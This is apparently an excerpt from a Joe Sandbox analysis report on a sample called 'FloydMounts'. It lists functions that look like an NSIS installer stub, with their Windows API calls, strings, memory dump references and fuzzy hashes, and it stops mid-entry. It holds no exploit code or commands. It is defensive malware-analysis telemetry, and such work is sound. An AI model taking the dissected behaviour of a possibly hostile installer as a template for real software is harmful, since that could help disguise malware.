lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424579,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not load %s, xrefs: 004024DB
hmq, xrefs: 00402473
`G, xrefs: 0040246E

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G$hmq
API String ID: 1033533793-2063474959
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424579,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424579,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00064E00,00000064,00153BD4), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(00716D68), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

